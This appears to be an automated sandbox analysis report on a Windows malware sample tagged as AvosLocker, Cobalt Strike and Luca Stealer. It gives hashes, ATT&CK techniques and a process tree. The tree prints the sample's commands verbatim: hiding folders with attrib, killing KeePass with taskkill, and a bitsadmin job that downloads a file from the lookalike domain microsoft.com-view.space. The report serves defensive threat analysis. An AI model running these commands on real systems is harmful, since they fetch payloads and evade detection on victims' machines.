3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630

Analysis

max time kernel
147s
max time network
124s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
29-11-2024 02:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe
Size

656KB
MD5

21e82cf77235daceff772b250ddb3437
SHA1

ef9205d9dba27091460d3a39c530d0501630538f
SHA256

3cbd7cd3694d18b64a42dfe7f57153c13aac81c9a110b6f41dbc4ae6e7791630
SHA512

36af6898749356d84b72af05d257149688504e7e5191381c9983886d7c6107966f3f5031c4252a001a88316e88d54436d64539be86123f27b4572df74a765ec5
SSDEEP

12288:TYcts2ucwpeaqvLaa0u32WcO7aMhP224lRL/DclzZjbhLiaeOulrpvAAtSNPzPm8:TYctBrvlzcA3g/DclzZjlTeOulrpvAo8

Score

8^/10

defense_evasion discovery dropper

Malware Config

Signatures

Download via BitsAdmin 1 TTPs 2 IoCs

dropper

BITS Jobs

T1197

Processes:

bitsadmin.exebitsadmin.exe

pid	Process
1624	bitsadmin.exe
2512	bitsadmin.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

Processes:

cmd.exe

pid	Process
2828	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 21 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

cmd.exebitsadmin.execmd.execmd.exebitsadmin.execmd.exebitsadmin.execmd.execmd.execmd.exetaskkill.execmd.execmd.exewhoami.exeattrib.exeattrib.exebitsadmin.exe2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exetaskkill.execmd.exebitsadmin.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	whoami.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe

Kills process with taskkill 2 IoCs

evasion

Processes:

taskkill.exetaskkill.exe

pid	Process
2584	taskkill.exe
2840	taskkill.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe

pid	Process
1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe

pid	Process
1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

whoami.exetaskkill.exetaskkill.exe

description	pid	Process
Token: SeDebugPrivilege	2672	whoami.exe
Token: SeDebugPrivilege	2840	taskkill.exe
Token: SeDebugPrivilege	2584	taskkill.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe

pid	Process
1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe
1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	Process	procid_target
PID 1868 wrote to memory of 2224	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	30
PID 1868 wrote to memory of 2224	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	30
PID 1868 wrote to memory of 2224	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	30
PID 1868 wrote to memory of 2224	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	30
PID 2224 wrote to memory of 2672	2224	cmd.exe	32
PID 2224 wrote to memory of 2672	2224	cmd.exe	32
PID 2224 wrote to memory of 2672	2224	cmd.exe	32
PID 2224 wrote to memory of 2672	2224	cmd.exe	32
PID 1868 wrote to memory of 2828	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	33
PID 1868 wrote to memory of 2828	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	33
PID 1868 wrote to memory of 2828	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	33
PID 1868 wrote to memory of 2828	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	33
PID 2828 wrote to memory of 2832	2828	cmd.exe	35
PID 2828 wrote to memory of 2832	2828	cmd.exe	35
PID 2828 wrote to memory of 2832	2828	cmd.exe	35
PID 2828 wrote to memory of 2832	2828	cmd.exe	35
PID 1868 wrote to memory of 2964	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	36
PID 1868 wrote to memory of 2964	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	36
PID 1868 wrote to memory of 2964	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	36
PID 1868 wrote to memory of 2964	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	36
PID 2964 wrote to memory of 2652	2964	cmd.exe	38
PID 2964 wrote to memory of 2652	2964	cmd.exe	38
PID 2964 wrote to memory of 2652	2964	cmd.exe	38
PID 2964 wrote to memory of 2652	2964	cmd.exe	38
PID 1868 wrote to memory of 2536	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	39
PID 1868 wrote to memory of 2536	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	39
PID 1868 wrote to memory of 2536	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	39
PID 1868 wrote to memory of 2536	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	39
PID 2536 wrote to memory of 2840	2536	cmd.exe	41
PID 2536 wrote to memory of 2840	2536	cmd.exe	41
PID 2536 wrote to memory of 2840	2536	cmd.exe	41
PID 2536 wrote to memory of 2840	2536	cmd.exe	41
PID 1868 wrote to memory of 2028	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	43
PID 1868 wrote to memory of 2028	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	43
PID 1868 wrote to memory of 2028	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	43
PID 1868 wrote to memory of 2028	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	43
PID 2028 wrote to memory of 2584	2028	cmd.exe	45
PID 2028 wrote to memory of 2584	2028	cmd.exe	45
PID 2028 wrote to memory of 2584	2028	cmd.exe	45
PID 2028 wrote to memory of 2584	2028	cmd.exe	45
PID 1868 wrote to memory of 2648	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	46
PID 1868 wrote to memory of 2648	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	46
PID 1868 wrote to memory of 2648	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	46
PID 1868 wrote to memory of 2648	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	46
PID 2648 wrote to memory of 2580	2648	cmd.exe	48
PID 2648 wrote to memory of 2580	2648	cmd.exe	48
PID 2648 wrote to memory of 2580	2648	cmd.exe	48
PID 2648 wrote to memory of 2580	2648	cmd.exe	48
PID 1868 wrote to memory of 1152	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	49
PID 1868 wrote to memory of 1152	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	49
PID 1868 wrote to memory of 1152	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	49
PID 1868 wrote to memory of 1152	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	49
PID 1152 wrote to memory of 1624	1152	cmd.exe	51
PID 1152 wrote to memory of 1624	1152	cmd.exe	51
PID 1152 wrote to memory of 1624	1152	cmd.exe	51
PID 1152 wrote to memory of 1624	1152	cmd.exe	51
PID 1868 wrote to memory of 2760	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	52
PID 1868 wrote to memory of 2760	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	52
PID 1868 wrote to memory of 2760	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	52
PID 1868 wrote to memory of 2760	1868	2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe	52
PID 2760 wrote to memory of 1168	2760	cmd.exe	54
PID 2760 wrote to memory of 1168	2760	cmd.exe	54
PID 2760 wrote to memory of 1168	2760	cmd.exe	54
PID 2760 wrote to memory of 1168	2760	cmd.exe	54

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

Processes:

attrib.exeattrib.exe

pid	Process
2832	attrib.exe
2652	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2024-11-29_21e82cf77235daceff772b250ddb3437_avoslocker_cobalt-strike_luca-stealer.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1868
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c whoami
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2224
- - C:\Windows\SysWOW64\whoami.exe
    whoami
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2672
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib +h C:\Users\Public\AppData
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h C:\Users\Public\AppData
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:2832
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib -h C:\Users\Public\AppData\Windows\svehost.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2964
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h C:\Users\Public\AppData\Windows\svehost.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:2652
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /im svehost.exe /t /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2536
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im svehost.exe /t /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2840
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /im keepass.exe /t /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2028
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im keepass.exe /t /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2584
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bitsadmin /cancel pdj
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2648
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /cancel pdj
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2580
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bitsadmin /create pdj
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1152
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /create pdj
    3⤵
    - Download via BitsAdmin
    - System Location Discovery: System Language Discovery
    PID:1624
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bitsadmin /SetPriority pdj HIGH
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2760
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /SetPriority pdj HIGH
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1168
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bitsadmin /addfile pdj "http://microsoft.com-view.space/i.php?u=VORHPBAB_Admin&i=proxy ip" C:\Users\Public\AppData\Libs\p.b
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1176
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /addfile pdj "http://microsoft.com-view.space/i.php?u=VORHPBAB_Admin&i=proxy ip" C:\Users\Public\AppData\Libs\p.b
    3⤵
    - Download via BitsAdmin
    - System Location Discovery: System Language Discovery
    PID:2512
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bitsadmin /resume pdj
  2⤵
  - System Location Discovery: System Language Discovery
  PID:592
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /resume pdj
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Public\AppData\Libs\u.nfo

Filesize
514B

MD5
18cc331bb7b9d50e7a9dfde04fb3939c

SHA1
930e130695b55d1029d9885790f724b0845546d9

SHA256
4f567b7f448e6d7e074b7857ea418f1bc75aeaeaa321383ebe53a28fbfc297d9

SHA512
2790b1b1b1ae9ad781f689b08c75a1e157d82bb4c3b51a7cd4e6d5568ec835186957ab9568c9f4e4fb4d6e0d6d6f2bad6ee8e245a849d2db17ed13c5fb29f5f1

Download Submit